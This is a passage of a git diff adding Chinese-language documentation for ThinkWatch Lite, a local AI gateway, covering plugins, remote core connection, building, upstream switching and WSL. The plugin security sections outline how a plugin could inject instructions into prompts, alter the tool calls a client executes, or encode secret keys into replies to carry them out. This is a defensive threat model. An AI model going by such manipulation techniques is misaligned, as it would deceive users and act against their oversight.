+ +| 权限 | 可以看到并修改 | 应用中的提示 | +|---|---|---| +| `system` | 系统提示词 | | +| `messages` | 对话消息:文字、工具结果和此前工具调用的参数;思考内容只读,图片只提供类型。嵌入与旧版补全:每项输入的文字 | 可以往对话中加入指令 | +| `tools` | 工具定义 | 会改变模型能使用的工具 | +| `params` | 模型、`max_tokens`、`temperature`、`top_p`、`stop`;嵌入只有模型 | 可能改变发往上游的模型,以及因此产生的费用 | +| `reply.text` | 回答中的文字 | | +| `reply.tool_calls` | 回答中的工具调用:修改、删除、新增 | 高风险,以红字提示:插件可以改动客户端要执行的操作。改动后的工具调用仍经过工具调用审查;安装这类插件、打开它、更改它的代码和确认它的文件变更,都要在系统对话框中确认。 | + +## 插件出错时 + +插件抛出错误、超出[限额](#限额)、返回无效的结果,或者改动了未授权的部分,都算出错;插件处理的那种请求,请求体无法读取时也算出错。出错时的处理方式由 manifest 的 `on_error` 决定,即「设置」页的「出错时」: + +- **拒绝这次请求**(默认):请求被拒绝,或回答在此处结束,并附上注明插件名称的错误。被拒绝的请求不会转到别的上游重试。 +- **跳过此插件**:这次请求(或这个回答余下的部分)不经过该插件,按未安装它的情况继续。 + +插件无法运行时(文件已更改而尚未确认,或者插件加载失败),按同一设置处理。这时出错时的处理方式和适用范围取自确认过的文件,即使代码无法运行,core 也能把它们当作数据读出;因此这样的插件与正常的插件一样,按每一次发送的请求种类、客户端、模型和上游判断是否在适用范围内,只拒绝范围内的发送。加载失败的插件按只处理对话对待,完全读不出 manifest 的插件拒绝所有对话。每次出错都记录在请求上。 + +## 限额 + +| 钩子 | CPU 时间 | 内存 | 输出 | +|---|---|---|---| +| 请求钩子 | 每次 200 毫秒,含模块顶层代码 | 128 MiB | 不超过请求视图大小的两倍加 1 MiB | +| 回答钩子 | 每次 20 毫秒,整个回答累计 2 秒 | 64 MiB | 不超过传入的文字或工具调用大小的两倍加 1 MiB;`onReplyTextEnd` 放出的文字不超过 1 MiB | + +每次调用最多写 100 行日志,超过 4 KiB 的行截短。插件文件不超过 1 MiB。超出限额的调用(包括写第 101 行日志)立即中止,按出错处理。 + +整个网关同时运行的回答钩子实例最多 32 个。带回答钩子的插件每处理一个回答占用一个,回答结束时释放。没有空余时,按该插件出错时的处理方式:「拒绝这次请求」在回答的任何内容发出之前拒绝请求,「跳过此插件」让这次回答不经过该插件。两种情况都记为一次出错,并发送提醒。 + +## 安全模型 + +- **沙箱里什么都没有。** 插件在 QuickJS 中运行,QuickJS 编译成 WebAssembly,由 core 内部的 Wasmtime 执行。插件代码从不在应用窗口中运行,也从不以原生代码运行。沙箱里没有网络、文件、环境变量和进程;即使 JavaScript 引擎本身有漏洞,也只能破坏沙箱自己的内存,碰不到 core 进程中的密钥与令牌。 +- **不留任何数据。** 每次调用请求钩子都使用新实例。每个回答中,一个插件使用一个实例,由它在这个回答上的各个钩子共用,回答结束即丢弃。插件之间不共享任何东西。 +- **只看到占位符。** 出站脱敏规则能识别的密钥,在交给插件之前替换为占位符,插件处理之后再换回;请求与回答两个方向都是如此,与这项防护处于哪一档无关。回答一侧同样重要:回答会进入对话历史,随下一次请求再次发往上游;插件如果看得到真实的密钥,就能把它编码后藏进回答里带出去。 +- **防护照常生效。** 请求钩子在路由之后运行,被它改动的请求在出站脱敏之前再经过内容过滤;回答钩子在工具调用审查之前运行。插件写入的内容和其他内容一样受检,插件既改变不了请求的路由,也不能换用密钥不可用的模型。 +- **只运行确认过的代码。** 插件文件与确认过的 SHA-256 哈希一致才会运行,在应用中保存时,文件与哈希一同更新。能改动工具调用的插件,安装、打开、更改代码和确认文件变更,都要在页面之外的系统对话框中确认,见[在系统对话框中确认](#在系统对话框中确认)。 +- **改动都有记录。** 每次运行都记录在请求上;被改动的请求另存一份发往作答上游的版本,和所有存下的请求一样替换掉了密钥;「流量」页为被插件改动的请求加上标记。 +- **用量有上限。** 每次调用都有 CPU 时间、内存、输出和日志量的上限,同时存在的回答实例也有数量上限。插件在单独的线程池中运行,运行缓慢的插件不会拖住网关本身的工作。 +- **只显示纯文本。** 插件的名称、说明、设置项标签、日志与错误信息,在应用中一律按纯文本显示。 + +## 沙箱无法防范的情况 + +插件本来就有权改动内容,沙箱无法判断一处改动是否正当。拥有 `system` 或 `messages` 权限的插件可以往提示词里写入指令;拥有 `reply.text` 的插件可以把回答改得误导人;拥有 `params` 的插件可以在密钥的可用模型中换用更贵的模型;拥有 `reply.tool_calls` 的插件可以改动客户端要执行的操作,而工具调用审查只能拦下其规则覆盖的写法。出站脱敏规则识别不了的密钥,插件看得到;这类密钥本来也会原样发往上游,可以在安全页添加自定义规则覆盖它的格式。 + +降低这些风险的办法:只授予插件所需的权限,安装前通读代码,并在请求详情中对照经过插件前后的请求。 + +## 应用自带的插件 + +应用自带两个插件。它们和其他插件列在同一张表里,出厂均为关闭,打开和设置的方式与其他插件相同;应用按界面语言显示它们的名称和设置项标签。其中「WSL 路径转换」能改动工具调用,打开它要在系统对话框中确认,修改它的设置项、适用范围和出错时的处理方式则无须确认。所有插件都关闭时,core 不启动沙箱,保持关闭的插件不占内存。这些插件随 core 发布,远程 core 上同样有。两个插件都只处理对话,代码在 ThinkWatch Core 仓库的 [`crates/tw-gateway/src/plugin/defaults`](https://github.com/ThinkWatchProject/ThinkWatch-Core/tree/main/crates/tw-gateway/src/plugin/defaults) 目录中。 + +### 指定回答语言(`reply-language`) + +在系统提示词末尾附上一句固定的要求:用选定的语言回答,用户明确要求其他语言时除外。这句要求每次都相同,上游的提示词缓存照常命中。 + +- 权限:`system`。 +- 设置:`language`,回答语言,出厂为 `简体中文`。只接受语言名称(字母、空格、括号和连字符,不超过 40 个字符),设置写不进其他指令;填入其他内容时,插件在每个请求上出错。 + +出厂时的 manifest: + +```js +export const manifest = { + name: "Answer in a chosen language", + api: 1, + description: "Adds a fixed line to the end of the system prompt that asks the model to answer in the language set here.", + permissions: ["system"], + on_error: "reject", + settings: { + language: { type: "string", label: "Answer language", value: "简体中文" }, + }, +}; +``` + +### WSL 路径转换(`wsl-paths`) + +在 WSL 中运行的客户端打不开 `C:\Users\…` 这样的路径,在 Windows 上运行的客户端同样打不开 `/mnt/c/Users/…`。插件把工具调用中整个取值为盘符路径的参数,统一改写为客户端一侧能打开的写法;回答中的工具调用和对话历史中此前的工具调用都会改写,模型看到的始终是同一种写法。命令行中夹带的路径、对话文字和工具结果不做改动。 + +- 权限:`messages`、`reply.tool_calls`。 +- 设置:`windows_client`,客户端是否运行在 Windows 上,出厂为 `false`,即客户端运行在 WSL 中。转换方式写死在代码里,设置无法表达其他改写。 + +出厂时的 manifest: + +```js +export const manifest = { + name: "Convert WSL and Windows paths", + api: 1, + description: "Rewrites drive paths in tool-call arguments to the form the client can open (WSL /mnt/c/… or Windows C:\\…), in answers and in the conversation history.", + permissions: ["messages", "reply.tool_calls"], + on_error: "reject", + settings: { + windows_client: { + type: "boolean", + label: "The client runs on Windows (otherwise WSL)", + value: false, + }, + }, +}; +``` + +删除的自带插件不会再次添加;代码被修改过的自带插件保持原样,在「设置」页所做的更改不算修改代码。除此之外,应用更新带来自带插件的新版本时,插件随之更新,保留开关状态、出错时的处理方式、适用范围,以及新版本仍然声明且类型不变的设置项的取值;新版本申请了更多权限或更多请求种类时,插件改为关闭。 + +## 升级须知 + +升级到加入插件的版本后,首次启动会清空请求记录,包括保存的请求与回答报文。配置、密钥与上游不受影响,两个自带插件以关闭状态加入列表。 + +## 延伸阅读 + +- [功能详解](/zh-CN/docs/lite/features):应用的其他页面,包括安全页及其各项防护。 +- [连接远程 core](/zh-CN/docs/lite/remote-core):在服务器上的 core 中使用插件。 diff --git a/src/content/docs-lite/zh-CN/remote-core.md b/src/content/docs-lite/zh-CN/remote-core.md new file mode 100644 index 0000000..5b3524a --- /dev/null +++ b/src/content/docs-lite/zh-CN/remote-core.md @@ -0,0 +1,72 @@ +# 连接远程 core + +ThinkWatch Lite 默认控制它在本机启动的 core,也可以改为连接部署在服务器上的 ThinkWatch Core(在 Linux 上以 systemd 服务运行的 `twcore`),在同样的页面中显示该服务器的流量、费用与配置。此时网络中的客户端把请求发给服务器上的网关,桌面上的应用负责查看和修改服务器的运行情况。 + +服务器的安装与配置见 ThinkWatch Core 文档中的[服务器部署](/zh-CN/docs/core/server-deployment)。本页说明应用一侧的操作。 + +## 服务器需要具备的条件 + +- 已安装并运行 `twcore`,例如安装脚本设置好的 `twcore` systemd 服务; +- 已开启远程控制端口,并把应用所在的网段写入 `listen.control.remote.allow_from`; +- core 版本为应用要求的版本。版本不一致时,应用会同时显示两边的版本;在服务器上执行 `sudo twcore upgrade --version <版本号> --restart` 并填入应用显示的版本,即可换成该版本,升级或降级均可。 + +用安装脚本安装的服务器上,开启端口并查看密钥的命令如下: + +```sh +sudo -u thinkwatch THINKWATCH_HOME=/var/lib/thinkwatch twcore remote enable --allow 192.168.1.0/24 +sudo -u thinkwatch THINKWATCH_HOME=/var/lib/thinkwatch twcore control-key +``` + +`twcore control-key` 第一行输出密钥,之后是控制端口、服务器上监听该端口的地址,以及允许连接的网段。 + +## 添加连接 + +1. 打开**设置 › 连接**,选择**添加远程连接**。 +2. 填写连接名称,以及服务器的**地址**(主机名或 IP 地址)。 +3. 填写**控制端口**,即服务器配置中 `listen.control.remote.port` 的值;该值在写入这一节配置时从 20000 至 32000 之间随机选定。 +4. 填写**密钥**,即 `twcore control-key` 输出的 64 位十六进制字符。 +5. 选择**测试连接**。应用完成握手,并显示服务器 core 的版本与网关地址。 +6. 选择**保存并切换**立即连接,或选择**保存**以后再切换。 + +测试失败时,应用会说明原因: + +| 提示 | 含义 | +|---|---| +| 无法连接到该地址 | 地址或端口有误、防火墙拦截了该端口,或服务器配置中未启用 `listen.control.remote` | +| 连接被服务器关闭 | 本机地址可能不在 `listen.control.remote.allow_from` 中 | +| 密钥不正确 | 与服务器上的密钥不一致;在服务器上执行 `twcore control-key` 可查看当前密钥 | +| 版本不一致 | 服务器上的 core 版本不同;在服务器上执行 `sudo twcore upgrade --version <版本号> --restart`,版本号为应用显示的版本 | + +## 切换连接 + +应用同一时间只连接一个 core。可以在侧栏底部的连接菜单、**设置 › 连接**,或菜单栏与托盘菜单的**连接**子菜单中切换。切换到远程连接之前,应用会先测试该连接。 + +连接服务器期间,本机的 core 在在途请求结束后停止运行。本机的配置、密钥与请求历史都会保留,切换回本机时 core 重新启动。 + +本机上(包括 Windows 上 WSL 中)指向本地网关的客户端在本地网关停止期间无法使用。存在这类客户端时,切换时可以选择同时把它们改为指向服务器的网关;之后也可以在客户端页完成同样的修改。 + +**启动时连接**可以选择上次使用的连接或本机。在 macOS 上按住 Option 键、在 Windows 上按住 Alt 键打开应用时,会先显示连接选择;在各个平台上,连续两次启动未能完成时也会先显示连接选择。服务器无法访问时,应用持续重试并显示连接状态,可以手动切换到本机;应用不会自行退回本机。 + +## 连接期间的变化 + +- **概览、流量、密钥、上游、路由与安全**显示和修改的是服务器上 core 的配置与历史。 +- **客户端与 MCP**仍作用于运行应用的这台电脑:客户端页把这台电脑上的客户端改为指向服务器的网关,MCP 页检查这台电脑上的 MCP 服务器、技能与钩子。两页顶部都有相应说明。其他机器上的客户端需要手动填写服务器的网关地址与网关密钥。 +- **设置**分为这台电脑上的应用(连接、通用、关于、卸载)与服务器上的配置(网关监听、日志保留)两部分。远程控制端口及其密钥只能在服务器上修改。 +- **ChatGPT 登录**只能使用设备码,验证网址和设备码都可以复制:浏览器登录完成后会回到运行 core 的机器,也就是服务器。 +- 上游密钥或请求头中的 `${变量名}` 读取的是服务器上 core 进程的环境变量,**系统代理**选项指的是服务器的系统代理。 +- 不提供**诊断包**。经远程连接,服务器拒绝三项操作:生成诊断包、停止 core,以及修改 `listen.control`。 +- 连接中断时,各页面保持断开时的状态,恢复连接之前不可修改。应用会发送系统通知,并自动重新连接。 + +## 连接的安全性 + +控制连接经过 Noise 握手(`Noise_NNpsk0_25519_ChaChaPoly_BLAKE2s`)加密与认证,预共享密钥是服务器 `config.yaml` 中的 `listen.control.key`。整个过程不使用 TLS,也不涉及证书。能访问该端口、但不持有密钥的程序无法控制 core。 + +服务器只接受来自 `listen.control.remote.allow_from` 所列网段的连接;同一来源一分钟内握手失败五次后,服务器在一分钟内忽略该来源。网关端口以明文 HTTP 传输请求,因此两个端口都应只对可信网络开放;需要从外部访问时,应使用 VPN 或 SSH 隧道,而不是直接暴露端口。 + +应用把密钥保存在数据目录中仅当前用户可读的文件里。删除连接时一并删除其密钥,服务器不受影响。在服务器上执行 `twcore control-key --rotate` 之后,需要在**设置 › 连接**中编辑该连接并更换密钥。 + +## 下一步 + +- [服务器部署](/zh-CN/docs/core/server-deployment):在 Linux 服务器上安装、配置、启动与升级 `twcore`。 +- [架构](/zh-CN/docs/lite/architecture):应用与 Core 之间的控制通道。 +- [概览](/zh-CN/docs/lite):应用展示什么。 diff --git a/src/content/docs-lite/zh-CN/run-from-source.md b/src/content/docs-lite/zh-CN/run-from-source.md new file mode 100644 index 0000000..0cfb030 --- /dev/null +++ b/src/content/docs-lite/zh-CN/run-from-source.md @@ -0,0 +1,39 @@ +# 从源码构建 + +开发版本在 [ThinkWatch Lite 仓库](https://github.com/ThinkWatchProject/ThinkWatch-Lite)的检出目录中运行。安装已发布的应用请参见[安装与更新](/zh-CN/docs/lite/install)。 + +## 运行 + +在 Linux 上需要先安装 WebKitGTK、AppIndicator 与 D-Bus 的开发包。Ubuntu 或 Debian 上: + +```bash +sudo apt install libwebkit2gtk-4.1-dev build-essential curl wget file libxdo-dev \ + libssl-dev libayatana-appindicator3-dev librsvg2-dev dbus +``` + +```bash +pnpm install +bash src-tauri/scripts/fetch-core.sh +pnpm tauri dev +``` + +`fetch-core.sh` 下载 `Cargo.lock` 锁定的 `twcore` 发布版本,校验 sha256 后放入 `src-tauri/resources/`。包括 `pnpm tauri dev` 在内,每一次构建都需要这个文件,因为 Tauri 在编译时会检查应用声明的资源文件是否存在;开发版本运行的也是这一份 `twcore`。开发版本不执行自动更新。 + +## 打包 + +```bash +pnpm tauri build +``` + +在 macOS 上这会产出一个自包含的 `.app`,在 Windows 上产出 NSIS 安装程序,在 Linux 上产出 AppImage。打包时会自动运行 `fetch-core.sh`,因此包内的 `twcore` 始终是经过哈希校验的 ThinkWatch Core 发布版本,而不是本地构建的二进制;分发出去的是哪一个构建由该 release 决定,与工作副本的状态无关。所用的 release 是 `Cargo.lock` 中 `tw-api` 解析到的 tag,因此编译进应用的协议镜像与随包分发的二进制始终来自同一个 Core 提交。 + +macOS 产物未经 Apple 注册开发者签名,也未公证,且只面向 Apple silicon 构建。Windows 安装程序未经代码签名。 + +## 平台 + +发布版本面向 Apple silicon 的 macOS、x64 与 ARM64 的 Windows,以及 x86_64 与 aarch64 的 Linux。 + +## 下一步 + +- [架构](/zh-CN/docs/lite/architecture):应用的结构,以及它与 Core 的通信方式。 +- [贡献指南](/zh-CN/docs/lite/contributing):提交 PR 前需要通过的检查。 diff --git a/src/content/docs-lite/zh-CN/switch-upstreams-without-restart.md b/src/content/docs-lite/zh-CN/switch-upstreams-without-restart.md new file mode 100644 index 0000000..513955f --- /dev/null +++ b/src/content/docs-lite/zh-CN/switch-upstreams-without-restart.md @@ -0,0 +1,35 @@ +# 切换中转站、上游或模型,无需重启 Claude Code 与 Codex + +ThinkWatch Lite 只需把 Claude Code、Codex 指向本机网关一次,此后每个请求发往哪个上游、使用哪个模型都由网关决定。切换中转站、上游或模型,改的是应用中的路由规则或手动选择的策略组;网关不重启,从随后的请求起按新的设置转发,客户端无需重启,也无需再改配置文件。 + +## 准备 + +- 已[安装](/zh-CN/lite/#install) ThinkWatch Lite。本文按 2026.10.4 版编写。 +- 已在客户端页用「接管…」接管 Claude Code 或 Codex。Claude Code 下一个请求即使用新配置;Codex 接管后需要重新打开一次终端。客户端一侧的改动到此为止。 +- 上游页中至少有两个上游,例如两个中转站,或一个提供多个模型的上游。 + +## 步骤 + +用路由规则切换: + +1. 在路由页的「路由」标签中,打开客户端密钥所用的路由;没有其他路由时,就是标有「默认」的那一条。 +2. 在规则列表中,对要修改的规则选择「编辑…」,通常是条件显示为「全部请求(兜底)」的那一条。 +3. 「命中后」保持「转发」,在「转发至」中选择新的上游或策略组。 +4. 同时更换模型时,展开「改写参数」,在「模型改为」中填写模型名。 +5. 在规则对话框中选择「保存」,再在路由对话框中选择「保存」。 + +用手动选择的策略组切换: + +1. 在路由页的「策略组」标签中选择「新建策略组」,填写「名称」,「策略」选「手动选择」,在「成员」中勾选上游,对其中一个选择「设为优先」,然后选择「创建」。 +2. 按上面的步骤,在规则的「转发至」中选择这个策略组。 +3. 之后切换时,在路由页打开该策略组的操作菜单,在「优先使用」中选择一个成员。macOS 的菜单栏菜单和 Windows、Linux 的托盘菜单中也可以切换:每个手动选择的策略组显示当前使用的上游,子菜单中列出全部成员。 + +## 说明 + +- **为什么无需重启。**接管后的客户端配置中只有网关地址和它自己的密钥:Claude Code 是 `~/.claude/settings.json` 中的 `ANTHROPIC_BASE_URL` 与 `ANTHROPIC_AUTH_TOKEN`,Codex 是 `~/.codex/config.toml` 中名为 `thinkwatch` 的 provider。上游的地址、密钥和模型都在网关的配置中,由网关就地重新加载。已在进行的请求按它开始时的配置完成。 +- **Codex 的会话列表不会拆开。**Codex 的会话列表只列出当前 provider 的会话。接管期间它始终使用 `thinkwatch` 这个 provider,因此经网关开始的会话都在同一个列表中,与由哪个上游回答无关。接管之前的会话仍在原来的 provider 下,分开显示;要通过网关继续其中一个,运行 `codex resume <会话 ID> -c model_provider=thinkwatch`。 +- **进行中的对话。**在策略组中,一段对话在当前这一轮结束之前留在回答它的上游上;跨轮时,只要该上游的提示缓存仍有效,即最近一次回答在五分钟以内、且读写了至少 1,024 个缓存 token,也会留下。手动选择的策略组更换优先使用的上游后,新对话立即改用新上游,进行中的对话可能留在原上游,直到缓存过期或原上游失败。把规则改为转发至另一个上游或策略组,则从下一个请求起对所有对话生效。 +- **模型名。**模型列表中没有所请求模型的上游会被跳过。新上游使用不同的模型名时(例如以 GLM 代替 Claude),在规则上设置「模型改为」。更换模型后已缓存的 prompt 不再命中,费用按发出的模型名计算。 +- **只切换一个客户端。**每个接管的客户端都有自己的密钥。只切换其中一个、其余不变时,用「新建路由」建一条路由,在「使用此路由的密钥」中加入它的密钥。 + +相关文档:[功能详解](/zh-CN/docs/lite/features/#路由与故障转移)、[在多个中转站和多把密钥之间自动故障转移与负载均衡](/zh-CN/docs/lite/failover-and-load-balancing/)、[安装与更新](/zh-CN/docs/lite/install/)。 diff --git a/src/content/docs-lite/zh-CN/wsl-claude-code-codex.md b/src/content/docs-lite/zh-CN/wsl-claude-code-codex.md new file mode 100644 index 0000000..db3f39a --- /dev/null +++ b/src/content/docs-lite/zh-CN/wsl-claude-code-codex.md @@ -0,0 +1,39 @@ +# 在 WSL 中使用 Claude Code 和 Codex + +Windows 上的 ThinkWatch Lite 在客户端页列出每个 WSL 发行版中安装的 Claude Code 与 Codex,并像这台电脑上的客户端一样,把它们指向 Windows 上的网关。写入的地址是 `127.0.0.1`,WSL 1 和使用 mirrored 网络模式的 WSL 2 都能访问;WSL 2 默认使用 NAT 网络,此时应用提供改为 mirrored 模式和重启 WSL 的操作。 + +## 准备 + +- 在 Windows 10 21H2 及以上运行 ThinkWatch Lite,[安装版](/zh-CN/lite/#install)或绿色版均可。应用运行在 Windows 上,不在 WSL 内。本文按 2026.10.4 版编写。 +- WSL 1,或使用 mirrored 网络模式的 WSL 2;后者需要 Windows 11 22H2 及以上、WSL 2.0.5 及以上。`wsl --version` 查看版本,`wsl --update` 更新。 +- 发行版中已安装 Claude Code 或 Codex 并运行过一次,即 `~/.claude` 或 `~/.codex` 已存在。 +- 上游页中至少有一个上游。 + +## 步骤 + +1. 打开客户端页。在「这台电脑」之后,每个发行版是一个名为「WSL · <发行版>」的分组,组名下方说明它使用的网络。 +2. 组名下方显示「NAT 网络,无法接管。」时,选择「改为 mirrored 模式…」。对话框列出对 `%USERPROFILE%\.wslconfig` 的改动,选择「改为 mirrored」。 +3. 选择「重启 WSL…」,再选择「重启 WSL」。这会执行 `wsl --shutdown`:所有正在运行的发行版都会停止,其中运行的程序随之退出。 +4. 在该发行版的分组中,对 Claude Code 或 Codex 选择「接管…」,核对字段和完整改动后选择「接管」。 +5. Claude Code 从下一个请求起经过网关;Codex 需要在 WSL 中重新打开终端。 +6. 第一个请求之后,客户端的状态变为「使用中」,它的请求以它自己的密钥出现在流量页中。 + +## 说明 + +| 情况 | 结果 | +|---|---| +| WSL 1 | 可以接管,WSL 1 与 Windows 共用网络。 | +| 使用 mirrored 网络的 WSL 2 | 可以接管。 | +| 使用 NAT 网络的 WSL 2(默认) | 不能接管:WSL 内的 `127.0.0.1` 是 WSL 自身,网关也不监听 WSL 的虚拟网卡。页面提供「改为 mirrored 模式…」。 | +| Windows 10、Windows 11 21H2 | 没有 mirrored 网络模式,WSL 2 中的客户端无法接管。 | +| WSL 低于 2.0.5 | 需要先运行 `wsl --update`。 | + +- **对 `.wslconfig` 的改动。**只新增或修改 `networkingMode` 一项:写在 `[wsl2]` 下,原先写在旧的 `[experimental]` 下的就地修改。文件的其他内容保持不变,写入前完整备份。该设置对这台电脑上所有 WSL 2 发行版生效。完全卸载时不会改回,备份保留。 +- **重启后仍是 NAT。**WSL 重启后仍在使用 NAT 网络时,分组会说明未能启用 mirrored 网络模式,并再次提供「重启 WSL…」。 +- **只接管 Claude Code 和 Codex。**WSL 中只列出这两个客户端。Claude Desktop、Zed 等桌面客户端运行在 Windows 上,在「这台电脑」中接管。 +- **密钥分开。**WSL 中的每一份都有自己的密钥,与 Windows 上的那一份分开;配置文件经由 `\\wsl.localhost` 修改。单独还原、「全部还原…」和完全卸载都包括 WSL 中的客户端。 +- **读取会启动发行版。**打开客户端页时,应用经由 `\\wsl.localhost` 读取各个发行版,未运行的发行版会因此启动。 +- **远程 core。**连接部署在服务器上的网关时,WSL 中的客户端与 Windows 上的一样指向服务器,不受网络模式限制。 +- **路径。**模型可能给出另一侧写法的路径,客户端无法打开。插件页自带的「WSL 路径转换」插件(出厂关闭)把工具调用参数中的盘符路径改写为客户端能打开的写法;其适用范围可以限定为 WSL 中的客户端,这些客户端的名字形如 `claude-code-wsl-ubuntu`。 + +相关文档:[功能详解](/zh-CN/docs/lite/features/#客户端接管)、[安装与更新](/zh-CN/docs/lite/install/)、[插件](/zh-CN/docs/lite/plugins/)。 diff --git a/src/content/docs/_meta.ts b/src/content/docs/_meta.ts new file mode 100644 index 0000000..77a8733 --- /dev/null +++ b/src/content/docs/_meta.ts @@ -0,0 +1,471 @@ +// Product-aware sidebar order and display labels for the docs. +// +// Each product owns an ordered list of docs. The entry with slug "" is the +// product's docs home (/docs, /docs/lite, /docs/core); every other slug is +// the basename of a markdown file without .md, e.g. "architecture". +// Order matters: it drives the sidebar, the grouping (consecutive docs with +// the same group share a heading) and prev/next navigation. + +import { localePath, type Lang } from "~/i18n"; + +export type ProductId = "thinkwatch" | "lite" | "core"; + +export type GroupId = "getStarted" | "guides" | "concepts" | "reference" | "operations" | "contributing"; + +export const groupLabels: Record> = { + getStarted: { en: "Get started", "zh-CN": "入门" }, + guides: { en: "Guides", "zh-CN": "教程" }, + concepts: { en: "Concepts", "zh-CN": "概念" }, + reference: { en: "Reference", "zh-CN": "参考" }, + operations: { en: "Operations", "zh-CN": "运维" }, + contributing: { en: "Contributing", "zh-CN": "参与开发" }, +}; + +export type DocMeta = { + /** Basename of the markdown file, or "" for the product's docs home */ + slug: string; + /** Localized labels shown in the sidebar */ + label: Record; + /** Available locales for this doc */ + locales: Lang[]; + /** Sidebar group heading */ + group: GroupId; + /** Optional one-liner shown on docs home pages */ + summary?: Record; + /** + * The page's own title, for the browser tab and search results, when the + * sidebar label is a shortened form of it (the guides: their titles are the + * questions people search for, too long for the sidebar) + */ + title?: Record; +}; + +export type Product = { + id: ProductId; + /** Brand name, not translated */ + name: string; + /** Docs path without locale prefix that the product's doc slugs sit under, e.g. "/docs/lite" */ + base: string; + /** The product's docs home, when it is not `base` itself */ + home?: string; + /** Where the markdown sources live ("Edit on GitHub") */ + editUrl: string; + /** One-liner shown on the documentation home */ + tagline: Record; + docs: DocMeta[]; +}; + +const both: Lang[] = ["en", "zh-CN"]; + +const overview = (group: GroupId = "getStarted"): DocMeta => ({ + slug: "", + label: { en: "Overview", "zh-CN": "概览" }, + locales: both, + group, +}); + +export const products: Product[] = [ + { + id: "thinkwatch", + name: "ThinkWatch Enterprise", + // Its guides keep their /docs/ addresses; /docs itself is the + // documentation home for all three products, so its own home is an + // overview page beside the guides. + base: "/docs", + home: "/docs/overview", + editUrl: "https://github.com/ThinkWatchProject/thinkwatch.github.io/tree/main/src/content/docs", + tagline: { + en: "The gateway for teams and enterprises. Deploy, configure, and operate it in production.", + "zh-CN": "面向团队与企业的网关。在生产环境中部署、配置与运维。", + }, + docs: [ + overview(), + { + slug: "architecture", + label: { en: "Architecture", "zh-CN": "架构设计" }, + locales: both, + group: "getStarted", + summary: { + en: "System design, dual-port model, request lifecycle, data flow.", + "zh-CN": "系统设计、双端口模型、请求生命周期、数据流图。", + }, + }, + { + slug: "deployment-guide", + label: { en: "Deployment Guide", "zh-CN": "部署指南" }, + locales: both, + group: "getStarted", + summary: { + en: "Docker Compose, Kubernetes Helm chart, SSL, production hardening.", + "zh-CN": "Docker Compose、Kubernetes Helm Chart、SSL、生产环境加固。", + }, + }, + { + slug: "configuration", + label: { en: "Configuration", "zh-CN": "配置说明" }, + locales: both, + group: "reference", + summary: { + en: "All environment variables, system settings, and their effects.", + "zh-CN": "所有环境变量、系统设置项及其影响。", + }, + }, + { + slug: "api-reference", + label: { en: "API Reference", "zh-CN": "API 参考" }, + locales: both, + group: "reference", + summary: { + en: "Complete endpoint documentation for the Gateway and the Console.", + "zh-CN": "网关和控制台的完整 API 端点文档。", + }, + }, + { + slug: "security", + label: { en: "Security", "zh-CN": "安全模型" }, + locales: both, + group: "operations", + summary: { + en: "Auth model, encryption, RBAC, threat model, hardening checklist.", + "zh-CN": "认证模型、加密、RBAC、威胁模型、加固清单。", + }, + }, + { + slug: "secret-rotation", + label: { en: "Secret Rotation", "zh-CN": "密钥轮换" }, + locales: both, + group: "operations", + summary: { + en: "Rotating provider keys, JWT secrets, and admin credentials in production.", + "zh-CN": "在生产环境中轮换 Provider 密钥、JWT secret 和管理员凭据。", + }, + }, + ], + }, + { + id: "lite", + name: "ThinkWatch Lite", + base: "/docs/lite", + editUrl: "https://github.com/ThinkWatchProject/thinkwatch.github.io/tree/main/src/content/docs-lite", + tagline: { + en: "The local gateway for Claude Code, Codex and other AI clients: what it does, installing it, connecting it to a server, and how it is built.", + "zh-CN": "Claude Code、Codex 等 AI 客户端的本地网关:功能、安装、连接服务器上的 core,以及构建方式。", + }, + docs: [ + overview(), + { + slug: "features", + label: { en: "Features", "zh-CN": "功能详解" }, + locales: both, + group: "getStarted", + summary: { + en: "Page by page: usage and cost, traffic, client setup, keys, upstreams, routing, the three protections, MCP, settings, the menu bar and notifications.", + "zh-CN": "逐页说明:用量与费用、流量、客户端接管、密钥、上游、路由、三项防护、MCP、设置、菜单栏与通知。", + }, + }, + { + slug: "install", + label: { en: "Install and update", "zh-CN": "安装与更新" }, + locales: both, + group: "getStarted", + summary: { + en: "Installing with Homebrew, a disk image, the Windows installer or portable zip, or the Linux AppImage; uninstalling; and how each kind of install updates.", + "zh-CN": "通过 Homebrew、磁盘映像、Windows 安装程序或绿色版、Linux AppImage 安装与卸载,以及各种安装方式如何更新。", + }, + }, + { + slug: "remote-core", + label: { en: "Connecting to a remote core", "zh-CN": "连接远程 core" }, + locales: both, + group: "getStarted", + summary: { + en: "Connect the app to ThinkWatch Core on a server: what the server needs, the steps in the app, what changes while connected, and how the connection is secured.", + "zh-CN": "让应用连接部署在服务器上的 ThinkWatch Core:服务器需要具备的条件、应用中的操作步骤、连接期间的变化,以及连接如何加密。", + }, + }, + { + slug: "run-from-source", + label: { en: "Build from source", "zh-CN": "从源码构建" }, + locales: both, + group: "getStarted", + summary: { + en: "Run a development build with pnpm tauri dev, or build a macOS bundle, a Windows installer or a Linux AppImage.", + "zh-CN": "用 pnpm tauri dev 运行开发版本,或打包 macOS 应用、Windows 安装程序与 Linux AppImage。", + }, + }, + { + slug: "claude-code-other-models", + label: { en: "Claude Code with other models", "zh-CN": "Claude Code 接国产模型" }, + title: { en: "Use Claude Code with GLM, DeepSeek or Kimi", "zh-CN": "让 Claude Code 使用 GLM、DeepSeek 或 Kimi" }, + locales: both, + group: "guides", + summary: { + en: "Point Claude Code at GLM, DeepSeek or Kimi through ThinkWatch Lite: name the model directly, or rewrite Claude model names with a routing rule.", + "zh-CN": "让 Claude Code 使用 GLM、DeepSeek 或 Kimi:直接用模型名,或用路由规则改写 Claude 模型名。", + }, + }, + { + slug: "codex-other-models", + label: { en: "Codex with other models", "zh-CN": "Codex 接其他模型" }, + title: { en: "Use Codex with Claude, Gemini or a Chat Completions-only relay", "zh-CN": "让 Codex 使用 Claude、Gemini 或只提供 Chat Completions 的中转" }, + locales: both, + group: "guides", + summary: { + en: "Run Codex on Claude, Gemini or a Chat Completions-only relay: ThinkWatch Lite converts the Responses API; the model is set in config.toml or a rule.", + "zh-CN": "让 Codex 使用 Claude、Gemini 或 Chat Completions 中转:网关转换格式,模型在配置或规则中指定。", + }, + }, + { + slug: "claude-desktop-third-party-models", + label: { en: "Claude Desktop with third-party models", "zh-CN": "Claude Desktop 用第三方模型" }, + title: { en: "Use Claude Desktop with third-party models", "zh-CN": "让 Claude Desktop 使用第三方模型" }, + locales: both, + group: "guides", + summary: { + en: "Connect Claude Desktop's official third-party inference mode to ThinkWatch Lite and rewrite its Claude 